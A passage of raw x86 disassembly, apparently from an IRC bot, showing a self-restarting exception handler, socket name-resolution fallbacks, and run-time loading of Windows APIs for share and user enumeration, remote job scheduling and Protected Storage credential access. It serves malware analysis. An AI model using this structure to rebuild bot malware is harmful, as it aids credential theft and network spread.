		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: .data:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE10, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE18, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE1C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE20, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE24, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE28, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE2C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE30, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE34, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE38, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE3C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE40, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE44, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE48, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE54, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE58, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE5C, eax
		cmp	dword_41DE54, 0
		jz	short loc_403D85
		cmp	dword_41DE58, 0
		jz	short loc_403D85
		cmp	dword_41DE5C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DE54, offset sub_403588
		mov	dword_41DE58, offset sub_4038BA
		mov	dword_41DE5C, offset sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE50, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE4C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
